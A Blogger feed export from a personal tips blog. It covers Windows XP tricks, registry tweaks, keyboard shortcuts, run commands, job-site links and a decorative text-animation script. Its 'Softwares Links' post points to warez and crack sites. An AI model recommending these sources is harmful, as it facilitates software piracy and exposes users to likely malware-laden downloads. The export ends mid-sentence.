tag:blogger.com,1999:blog-60393738024892290432024-03-13T13:56:40.524+05:30tips, tricks and good linksWindows tips & tricks, Internet tips & tricks, Security terminology,Good links and more....Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.comBlogger28125tag:blogger.com,1999:blog-6039373802489229043.post-37965684849850126822010-09-20T21:37:00.002+05:302011-05-17T23:38:52.909+05:30Java/J2EE Concepts<div align="center"><span style="font-size:180%;"><em></em></span></div><br /><div align="center"><span style="font-size:180%;"><em></em></span></div><br /><div align="center"><span style="font-size:180%;"><em>Please wait for the Updates.......................................</em></span></div><br /><style type="text/css"><br />/* Circle Text Styles */<br />#outerCircleText {<br />/* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */<br />font-style: italic;<br />font-weight: bold;<br />font-family: 'comic sans ms', verdana, arial;<br />color: #000;<br />/* End Optional */<br /><br />/* Start Required - Do Not Edit */<br />position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}<br />#outerCircleText div {position: relative;}<br />#outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}<br />/* End Required */<br />/* End Circle Text Styles */<br /></style><br /><script type="text/javascript"><br /><br />/* Circling text trail- Tim Tilton<br /> Website: http://www.tempermedia.com/<br /> Visit: http://www.dynamicdrive.com/ for Original Source and tons of scripts<br /> Modified Here for more flexibility and modern browser support<br /> Modifications as first seen in http://www.dynamicdrive.com/forums/<br /> username:jscheuer1 - This notice must remain for legal use<br /> */<br /><br />;(function(){<br /><br />// Your message here (QUOTED STRING)<br />var msg = "Naveenvnksg.blogspot.com!";<br /><br />/* THE REST OF THE EDITABLE VALUES BELOW ARE ALL UNQUOTED NUMBERS */<br /><br />// Set font's style size for calculating dimensions<br />// Set to number of desired pixels font size (decimal and negative numbers not allowed)<br />var size = 24;<br /><br />// Set both to 1 for plain circle, set one of them to 2 for oval<br />// Other numbers & decimals can have interesting effects, keep these low (0 to 3)<br />var circleY = 0.75; var circleX = 2;<br /><br />// The larger this divisor, the smaller the spaces between letters<br />// (decimals allowed, not negative numbers)<br />var letter_spacing = 5;<br /><br />// The larger this multiplier, the bigger the circle/oval<br />// (decimals allowed, not negative numbers, some rounding is applied)<br />var diameter = 10;<br /><br />// Rotation speed, set it negative if you want it to spin clockwise (decimals allowed)<br />var rotation = 0.4;<br /><br />// This is not the rotation speed, its the reaction speed, keep low!<br />// Set this to 1 or a decimal less than one (decimals allowed, not negative numbers)<br />var speed = 0.3;<br /><br />////////////////////// Stop Editing //////////////////////<br /><br />if (!window.addEventListener && !window.attachEvent || !document.createElement) return;<br /><br />msg = msg.split('');<br />var n = msg.length - 1, a = Math.round(size * diameter * 0.208333), currStep = 20,<br />ymouse = a * circleY + 20, xmouse = a * circleX + 20, y = [], x = [], Y = [], X = [],<br />o = document.createElement('div'), oi = document.createElement('div'),<br />b = document.compatMode && document.compatMode != "BackCompat"? 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Now it's time to delve a bit deeper and uncover some of Windows XP's secrets.<br /><b>1.</b> It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).<br /><b>2.</b> You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).<br /><b>3.</b> You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.<br /><span style="color: rgb(51, 51, 51);"><b>4.</b> XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.</span><br /><b><span style="color: rgb(51, 51, 51);">5.</span></b> For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.<br /><b>6. </b>XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.<br /><b>7.</b> You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.<br /><span style="color: rgb(51, 51, 51);"><b>8.</b> XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.</span><br /><b><span style="color: rgb(51, 51, 51);">9.</span></b> XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.<br /><b>10. </b>You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to <span style="color: rgb(51, 51, 51);">www.whatismyip.com</span> -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.<br /><b>11.</b> You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.<br /><div style="text-align: justify;"><div style="text-align: justify;"><span style="color: rgb(51, 51, 51);"><b>12.</b> Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.</span><br /></div><b><span style="color: rgb(51, 51, 51);">13.</span></b> You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.<br /></div><b>14.</b> Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.<br /><b>15.</b> XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.<br /><div style="text-align: left;"><b>16.</b> The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.<br /></div><span style="color: rgb(51, 51, 51);"><b>17.</b> You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.</span><br /><b><span style="color: rgb(51, 51, 51);">18.</span></b> Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.<br /><span style="color: rgb(51, 51, 51);"><b>19. </b>Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.</span><b><span style="color: rgb(51, 51, 51);"><br /></span></b><span style="color: rgb(51, 51, 51);"></span></div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com1tag:blogger.com,1999:blog-6039373802489229043.post-75546783651021320872008-01-05T16:57:00.000+05:302008-01-05T17:23:04.280+05:30Jobs siteshttp://www.freshersworld.com/<br />http://www.firstsalary.com<br />http://www.careerenclave.com/<br />http://www.shredskerala.org/index.html<br />http://www.ChetanaS.com<br />http://www.ChetanaSinterview.com<br />http://www.vyomworld.com/placementpapers<br />http://www.go4campus.com/mepz.asp<br />http://www.geocities.com/careeraid2003/company.html<br />http://www.aucse.com/Question%20Bank.htm<br />http://groups.yahoo.com/group/nestjobs/files/<br />http://jminds.hollosite.com/placement/index.php<br />http://www.koolkampus.com/campuspapers.php<br />http://www.jobshive.ne1.net/<br />http://www.naukri4u.co.nr/<br />http://www.geekinterview.com/<br />http://www.sqa-forum.com<br />http://www.Freshers.in<br />http://todaysjobs4u.blogspot.com<br />http://fresheropenings.blogspot.com/<br />http://www.jobsassist.com/<br />http://www.myjobs-india.com/tags/hyderabad-secunderabad/<br />http://bigwalkin.com/<br />http://www.indianfreshers.com/Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com2tag:blogger.com,1999:blog-6039373802489229043.post-657349004748653182008-01-05T16:54:00.000+05:302008-01-05T17:24:10.883+05:30Windows Commands & shortcut keys<span style="font-weight: bold;">KEYBOARDS shortcuts</span> <div> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);">• CTRL+C (Copy)<br />• CTRL+X (Cut)<br />• CTRL+V (Paste)<br />• CTRL+Z (Undo)<br />• DELETE (Delete)<br />• SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)<br />• CTRL while dragging an item (Copy the selected item)<br />• CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)<br />• F2 key (Rename the selected item)<br />• CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)<br />• CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)<br />• CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)<br />• CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)<br />• CTRL+SHIFT with any of the arrow keys (Highlight a block of text)<br />• SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)<br />• CTRL+A (Select all)<br />• F3 key (Search for a file or a folder)<br />• ALT+ENTER (View the properties for the selected item)<br />• ALT+F4 (Close the active item, or quit the active program)<br />• ALT+ENTER (Display the properties of the selected object)<br />• ALT+SPACEBAR (Open the shortcut menu for the active window)<br />• CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)<br />• ALT+TAB (Switch between the open items)<br />• ALT+ESC (Cycle through items in the order that they had been opened)<br />• F6 key (Cycle through the screen elements in a window or on the desktop)<br />• F4 key (Display the Address bar list in My Computer or Windows Explorer)<br />• SHIFT+F10 (Display the shortcut menu for the selected item)<br />• ALT+SPACEBAR (Display the System menu for the active window)<br />• CTRL+ESC (Display the Start menu)<br />• ALT+Underlined letter in a menu name (Display the corresponding menu)<br />• Underlined letter in a command name on an open menu (Perform the corresponding command)<br />• F10 key (Activate the menu bar in the active program)<br />• RIGHT ARROW (Open the next menu to the right, or open a submenu)<br />• LEFT ARROW (Open the next menu to the left, or close a submenu)<br />• F5 key (Update the active window)<br />• BACKSPACE (View the folder one level up in My Computer or Windows Explorer)<br />• ESC (Cancel the current task)<br />• SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)<br />• CTRL+SHIFT+ESC (Open Task Manager)<br />Dialog box keyboard shortcuts<br />If you press SHIFT+F8 in extended selection list boxes, you enable extended selection mode. In this mode, you can use an arrow key to move a cursor without changing the selection. You can press CTRL+SPACEBAR or SHIFT+SPACEBAR to adjust the selection. To cancel extended selection mode, press SHIFT+F8 again. Extended selection mode cancels itself when you move the focus to another control.• CTRL+TAB (Move forward through the tabs)<br />• CTRL+SHIFT+TAB (Move backward through the tabs)<br />• TAB (Move forward through the options)<br />• SHIFT+TAB (Move backward through the options)<br />• ALT+Underlined letter (Perform the corresponding command or select the corresponding option)<br />• ENTER (Perform the command for the active option or button)<br />• SPACEBAR (Select or clear the check box if the active option is a check box)<br />• Arrow keys (Select a button if the active option is a group of option buttons)<br />• F1 key (Display Help)<br />• F4 key (Display the items in the active list)<br />• BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)<br />CTRL+S (Save the open console)<br />• CTRL+M (Add or remove a console item)<br />• CTRL+W (Open a new window)<br />• F5 key (Update the content of all console windows)<br />• ALT+SPACEBAR (Display the MMC window menu)<br />• ALT+F4 (Close the console)<br />• ALT+A (Display the Action menu)<br />• ALT+V (Display the View menu)<br />• ALT+F (Display the File menu)<br />• ALT+O (Display the Favorites menu)<br />MMC console window keyboard shortcuts<br />• CTRL+P (Print the current page or active pane)<br />• ALT+Minus sign (-) (Display the window menu for the active console window)<br />• SHIFT+F10 (Display the Action shortcut menu for the selected item)<br />• F1 key (Open the Help topic, if any, for the selected item)<br />• F5 key (Update the content of all console windows)<br />• CTRL+F10 (Maximize the active console window)<br />• CTRL+F5 (Restore the active console window)<br />• ALT+ENTER (Display the Properties dialog box, if any, for the selected item)<br />• F2 key (Rename the selected item)<br />• CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)<br />Remote desktop connection navigation<br />• CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)<br />• ALT+PAGE UP (Switch between programs from left to right)<br />• ALT+PAGE DOWN (Switch between programs from right to left)<br />• ALT+INSERT (Cycle through the programs in most recently used order)<br />• ALT+HOME (Display the Start menu)<br />• CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)<br />• ALT+DELETE (Display the Windows menu)<br />• CTRL+ALT+Minus sign (-) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)<br />• CTRL+ALT+Plus sign (+) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)</span><br /><b><span style="color: rgb(51, 51, 51);">Make use of u r Windows Key</span></b><br /><span style="color: rgb(51, 51, 51);">The Windows logo key, located in the bottom row of most computer keyboards is a little-used treasure. Don't' ignore it. It is the shortcut anchor for the following commands:<br />Windows: Display the Start menu<br />Windows + D: Minimize or restore all windows<br />Windows + E: Display Windows Explorer<br />Windows + F: Display Search for files<br />Windows + Ctrl + F: Display Search for computer<br />Windows + F1: Display Help and Support Center<br />Windows + R: Display Run dialog box<br />Windows + break: Display System Properties dialog box<br />Windows + shift + M: Undo minimize all windows<br />Windows + L: Lock the workstation<br />Windows + U: Open Utility Manager<br />Windows + Q: Quick switching of users (Powertoys only)<br />Windows + Q: Hold Windows Key, then tap Q to scroll thru the different users on your PC</span><br /><b><span style="color: rgb(51, 51, 51);">Application name -run Command</span></b><br /><span style="color: rgb(51, 51, 51);">Accessibility Controls - access.cpl<br />Add Hardware Wizard - hdwwiz.cpl<br />Add/Remove Programs - appwiz.cpl<br />Administrative Tools - control admintools<br />Automatic Updates - wuaucpl.cpl<br />Bluetooth Transfer Wizard - fsquirt<br />Calculator - calc<br />Certificate Manager - certmgr.msc<br />Character Map - charmap<br />Check Disk Utility - chkdsk<br />Clipboard Viewer - clipbrd<br />Command Prompt - cmd<br />Component Services - dcomcnfg<br />Computer Management - compmgmt.msc<br />Date and Time Properties - timedate.cpl<br />DDE Shares - ddeshare<br />Device Manager - devmgmt.msc<br />Direct X Control Panel (If Installed)* - directx.cpl<br />Direct X Troubleshooter - dxdiag<br />Disk Cleanup Utility - cleanmgr<br />Disk Defragment - dfrg.msc<br />Disk Management - diskmgmt.msc<br />Disk Partition Manager - diskpart<br />Display Properties - control desktop<br />Display Properties - desk.cpl<br />Display Properties (w/Appearance Tab Preselected) - control color<br />Dr. Watson System Troubleshooting Utility - drwtsn32<br />Driver Verifier Utility - verifier<br />Event Viewer - eventvwr.msc<br />File Signature Verification Tool - sigverif<br />Findfast - findfast.cpl<br />Folders Properties - control folders<br />Fonts - control fonts<br />Fonts Folder - fonts<br />Free Cell Card Game - freecell<br />Game Controllers - joy.cpl<br />Group Policy Editor (XP Prof) - gpedit.msc<br />Hearts Card Game - mshearts<br />Iexpress Wizard - iexpress<br />Indexing Service - ciadv.msc<br />Internet Properties - inetcpl.cpl<br />IP Configuration (Display Connection Configuration) - ipconfig /all<br />IP Configuration (Display DNS Cache Contents) - ipconfig /displaydns<br />IP Configuration (Delete DNS Cache Contents) - ipconfig /flushdns<br />IP Configuration (Release All Connections) - ipconfig /release<br />IP Configuration (Renew All Connections) - ipconfig /renew<br />IP Configuration (Refreshes DHCP & Re - Registers DNS) -<br />ipconfig /registerdns<br />IP Configuration (Display DHCP Class ID) - ipconfig /showclassid<br />IP Configuration (Modifies DHCP Class ID) - ipconfig /setclassid<br />Java Control Panel (If Installed) - jpicpl32.cpl<br />Java Control Panel (If Installed) - javaws <o:p></o:p></span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);"><span style="font-weight: bold;">Keyboard Properties - control keyboard</span><br />Local Security Settings - secpol.msc<br />Local Users and Groups - lusrmgr.msc<br />Logs You Out Of Windows - logoff<br />Microsoft Chat - winchat<br />Minesweeper Game - winmine<br />Mouse Properties - control mouse<br />Mouse Properties - main.cpl<br />Network Connections - control netconnections<br />Network Connections - ncpa.cpl<br />Network Setup Wizard - netsetup.cpl<br />Notepad - notepad<br />Nview Desktop Manager (If Installed) - nvtuicpl.cpl<br />Object Packager - packager<br />ODBC Data Source Administrator - odbccp32.cpl<br />On Screen Keyboard - osk<br />Opens AC3 Filter (If Installed) - ac3filter.cpl<br />Password Properties - password.cpl<br />Performance Monitor - perfmon.msc<br />Performance Monitor - perfmon<br />Phone and Modem Options - telephon.cpl<br />Power Configuration - powercfg.cpl<br />Printers and Faxes - control printers<br />Printers Folder - printers<br />Private Character Editor - eudcedit<br />Quicktime (If Installed) - QuickTime.cpl<br />Regional Settings - intl.cpl<br />Registry Editor - regedit<br />Registry Editor - regedit32<br />Remote Desktop - mstsc<br />Removable Storage - ntmsmgr.msc<br />Removable Storage Operator Requests - ntmsoprq.msc<br />Resultant Set of Policy (XP Prof) - rsop.msc<br />Scanners and Cameras - sticpl.cpl<br />Scheduled Tasks - control schedtasks<br />Security Center - wscui.cpl<br />Services - services.msc<br />Shared Folders - fsmgmt.msc<br />Shuts Down Windows - shutdown<br />Sounds and Audio - mmsys.cpl<br />Spider Solitare Card Game - spider<br />SQL Client Configuration – cliconfg<o:p></o:p></span></p><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);">System Configuration Editor - sysedit<br />System Configuration Utility - msconfig<br />System File Checker Utility (Scan Immediately) - sfc /scannow<br />System File Checker Utility (Scan Once At Next Boot) - sfc /scanonce<br />System File Checker Utility (Scan On Every Boot) - sfc /scanboot<br />System File Checker Utility (Return to Default Setting) - sfc /revert<br />System File Checker Utility (Purge File Cache) - sfc /purgecache<br />System File Checker Utility (Set Cache Size to size x) -<br />sfc /cachesize=x<br />System Properties - sysdm.cpl<br />Task Manager - taskmgr<br />Telnet Client – telnet<o:p></o:p></span></p><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);">User Account Management - nusrmgr.cpl<br />Utility Manager - utilman<br />Windows Firewall - firewall.cpl<br />Windows Magnifier - magnify<br />Windows Management Infrastructure - wmimgmt.msc<br />Windows System Security Tool - syskey<br />Windows Update Launches - wupdmgr<br />Windows XP Tour Wizard - tourstart<br />Wordpad – write<o:p></o:p></span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><b><span style="color: rgb(51, 51, 51);">Removable Storage</span></b><br /><span style="color: rgb(51, 51, 51);">ntmsmgr.msc</span><br /><span style="color: rgb(51, 51, 51);">Removable Storage Operator Requests - ntmsoprq.msc</span><br /><span style="color: rgb(51, 51, 51);">Resultant Set of Policy (XP Prof) - rsop.msc</span><br /><span style="color: rgb(51, 51, 51);">Scanners and Cameras - sticpl.cpl</span><br /><span style="color: rgb(51, 51, 51);">Scheduled Tasks - control schedtasks</span><br /><span style="color: rgb(51, 51, 51);">Security Center - wscui.cpl</span><br /><span style="color: rgb(51, 51, 51);">Services - services.msc</span><br /><span style="color: rgb(51, 51, 51);">Shared Folders - fsmgmt.msc</span><br /><span style="color: rgb(51, 51, 51);">Shuts Down Windows - shutdown</span><br /><span style="color: rgb(51, 51, 51);">Sounds and Audio - mmsys.cpl</span><br /><span style="color: rgb(51, 51, 51);">Spider Solitare Card Game - spider</span><br /><span style="color: rgb(51, 51, 51);">Malicious Software Removal Tool - mrt</span><br /><span style="color: rgb(51, 51, 51);">Microsoft Access (if installed) - access.cpl</span><br /><span style="color: rgb(51, 51, 51);">Microsoft Chat - winchat</span><br /><span style="color: rgb(51, 51, 51);">Microsoft Excel (if installed) - excel</span><br /><span style="color: rgb(51, 51, 51);">Microsoft Frontpage (if installed)- frontpg</span><br /><span style="color: rgb(51, 51, 51);">Microsoft Movie Maker - moviemk</span><br /><span style="color: rgb(51, 51, 51);">Microsoft Paint - mspaint</span><br /><span style="color: rgb(51, 51, 51);">Microsoft Powerpoint (if installed)- powerpnt</span><br /><span style="color: rgb(51, 51, 51);">Microsoft Word (if installed)- winword</span><br /><span style="color: rgb(51, 51, 51);">Microsoft Syncronization Tool - mobsync</span><br /><span style="color: rgb(51, 51, 51);">Minesweeper Game - winmine</span><br /><span style="color: rgb(51, 51, 51);">Mouse Properties - control mouse</span><br /><span style="color: rgb(51, 51, 51);">Mouse Properties - main.cpl</span><br /><span style="color: rgb(51, 51, 51);">Nero (if installed)- nero</span><br /><span style="color: rgb(51, 51, 51);">Netmeeting - conf</span><br /><span style="color: rgb(51, 51, 51);">Network Connections - control netconnections</span><br /><span style="color: rgb(51, 51, 51);">Network Connections - ncpa.cpl</span><br /><span style="color: rgb(51, 51, 51);">Network Setup Wizard - netsetup.cpl</span><br /><span style="color: rgb(51, 51, 51);">Notepad - notepad</span><br /><span style="color: rgb(51, 51, 51);">Nview Desktop Manager (If Installed)- nvtuicpl.cpl</span><br /><span style="color: rgb(51, 51, 51);">Object Packager - packager</span><br /><span style="color: rgb(51, 51, 51);">ODBC Data Source Administrator- odbccp32.cpl</span><br /><span style="color: rgb(51, 51, 51);">On Screen Keyboard - osk</span><br /><span style="color: rgb(51, 51, 51);">Opens AC3 Filter (If Installed) - ac3filter.cpl</span><br /><span style="color: rgb(51, 51, 51);">Outlook Express - msimn</span><br /><span style="color: rgb(51, 51, 51);">Paint – pbrush</span><br /><span style="color: rgb(51, 51, 51);">Keyboard Properties - control keyboard</span><br /><span style="color: rgb(51, 51, 51);">IP Configuration (Display Connection Configuration) - ipconfi/all</span><br /><span style="color: rgb(51, 51, 51);">IP Configuration (Display DNS Cache Contents)- ipconfig /displaydns</span><br /><span style="color: rgb(51, 51, 51);">IP Configuration (Delete DNS Cache Contents)- ipconfig /flushdns</span><br /><span style="color: rgb(51, 51, 51);">IP Configuration (Release All Connections)- ipconfig /release</span><br /><span style="color: rgb(51, 51, 51);">IP Configuration (Renew All Connections)- ipconfig /renew</span><br /><span style="color: rgb(51, 51, 51);">IP Configuration(RefreshesDHCP&Re-RegistersDNS)-ipconfig/registerdns</span><br /><span style="color: rgb(51, 51, 51);">IP Configuration (Display DHCP Class ID)- ipconfig/showclassid</span><br /><span style="color: rgb(51, 51, 51);">IP Configuration (Modifies DHCP Class ID)- ipconfig /setclassid</span><br /><span style="color: rgb(51, 51, 51);"><span style=""> </span>Java Control Panel (If Installed)- jpicpl32.cpl</span>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0tag:blogger.com,1999:blog-6039373802489229043.post-10651394260414838212008-01-05T16:52:00.000+05:302008-01-05T17:24:42.471+05:30Softwares Links10,000 SOFTWARES ON FTP SERVER<br />ftp://194.97.2.69/pub/filepilot/windows/<br />http://www.bangaloretalks.com/f-44/SOFTWARES-TO-DOWNLOAD/<br />http://computerandsoftwares.blogspot.com/<br />http://soft4dwd.blogspot.com/<br />www.pallav.co.nr<br />http://www.thewarezhub-jadu.blogspot.com/<br />ftp://217.219.86.36/RasoolShafaKheibari/<br />Softwares(Shareware/Freeware)<br />http://www.tucows.com/<br />http://www.download.com/<br />http://www.oldversion.com/<br />http://www.freewarefiles.com/<br />http://www.freewarehome.com/<br />http://www.softpedia.com/<br />http://www.soft32.com/<br />http://www.9down.com/<br />http://softex.meganet.lt/ (softwares with crack)<br />http://www.astalavista.com/ (crack search engine n mobile softwares)<br />http://www.metaftp.com/ (direct ftp download) (ms office 2007 enterprise<br />in 800 kb(approx) WINISO or ALCOHOL 120)<br />http://www.sharedzilla.com/ (file sharing)<br />http://www.oldapps.com<br />http://www.phazeddl.com/<br />http://www.downloadlinki.com/Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0tag:blogger.com,1999:blog-6039373802489229043.post-76444179304743972752008-01-05T16:30:00.000+05:302008-01-05T17:48:03.325+05:30Windows tips 5<div style="text-align: justify;"><b><span style="color: rgb(51, 51, 51);">Making Menu Opening Fastmaking</span></b><br />Go to Start then Run<br />Type 'Regedit' then click 'Ok'<br />Find "HKEY_CURRENT_USER\Control Panel\Desktop\"<br />Select "MenuShowDelay"<br />Right click and select "Modify'<br />Reduce the number to around "100"<br /><span style="color: rgb(51, 51, 51);">This is the delay time before a menu is opened. You can set it to "0" but it can make windows really hard to use as menus will open if you just look at them - well move your mouse over them anyway. I tend to go for anywhere between 50-150 depending on my mood.<o:p></o:p></span></div><div> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> <span style="font-weight: bold;">DISABLING MY COMPUTER<br /></span>In areas where you are trying to restrict what users can do on the computer, it might be beneficial to disable the ability to click on My Computer and have access to the drives, control panel etc.<br />To disable this:<br />1.Open RegEdit<br />2.Search for 20D04FE0-3AEA-1069-A2D8-08002B30309D<br />3.This should bring you to the HKEY_CLASSES_ROOT\CLSID section<br />4.Delete the entire section.<br />Now when you click on My Computer, nothing will happen.<br /><div style="text-align: left;"><span style="color: rgb(51, 51, 51);">You might want to export this section to a Registry file before deleting it just in case you want to enable it again. Or you can rename it to 20D0HideMyComputer4FE0-3AEA-1069-A2D8-08002B30309D. You can also hide all the Desktop Icons, see Change/Add restrictions. <o:p></o:p></span></div></div><div style="text-align: justify;"><span style="font-weight: bold;">ADDING AN APPLICATION TO RIGHT CLICK</span><br />Here is how to add any application to the Context Menu when you right click on any Folder. This way you do not have to always go to the Start Menu. When you right click on any folder, you can have access to that application, the same as using Sent To.<br />1. Open RegEdit<br />2. Go to HKEY_CLASSES_ROOT\Folder\shell<br />3. Add a new Key to the "Shell" Key and name it anything you like.<br />4. Give it a default value that will appear when you right click a folder, i.e. NewKey (use an "&" without the quotes, in front of any character and it will allow you to use the keyboard)<br />5. Click on the Key HKEY_CLASSES_ROOT\Folder\shell\NewKey<br />6. Add a New Key named Command<br />7. Set the (Default) value of the application you want to run<br /><span style="color: rgb(51, 51, 51);">8. For example: c:\program files\internet explorer\iexplore.exe (Include the full path and parameters if you need them) <o:p></o:p></span></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> <span style="font-weight: bold;">CHANGE WINDOWS ICON<br /></span>You can change the Icons Windows uses for folders, the Start Menu, opened and closed folder in the Explorer, and many more.<br />1. Open RegEdit<br />2. Go to<br />HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Icons<br />3. Add a string value for each Icon you wish to change.<br /><span style="color: rgb(51, 51, 51);">Example: "3" ="C:\Windows\Icons\MyIcon.ico,0" This will change the closed folders in the Explorer to "MyIcon.ico". Here is a complete list for each value.<br /></span>0= Unknown file type 1= MSN file types 2= Applications Generic 3= Closed Folder 4= Open Folder 5= 5.25" Drive 6= 3.25" Drive 7= Removable Drive 8= Hard Drive 9= NetWork Drive 10= Network Drive Offline 11= CD-ROM Drive 12= RAM Drive 13= Entire Network 14= Network Hub 15= My Computer 16= Printer 17= Network Neighborhood 18= Network Workgroup 19= Start Menu's Program Folders 20= Start Menu's Documents 21= Start Menu's Setting 22= Start Menu's Find 23= Start Menu's Help 24= Start Menu's Run 25= Start Menu's Suspend 26= Start Menu's PC Undock 27= Start Menu's Shutdown 28= Shared 29= Shortcut Arrow 30= (Unknown Overlay) 31= Recycle Bin Empty 32= Recycle Bin Full 33= Dial-up Network 34= DeskTop 35= Control Panel 36= Start Menu's Programs 37= Printer Folder 38= Fonts Folder 39= Taskbar Icon <span>40= Audio CD</span><span style="font-weight: bold;"><br />ADD OPEN WITH TO ALL FILES<br /></span>You can add "Open With..." to the Right click context menu of all files.This is great for when you have several programs you want to open the same file types with. I use three different text editors so I added it to the ".txt" key.<br />1. Open RegEdit<br />2. Go to 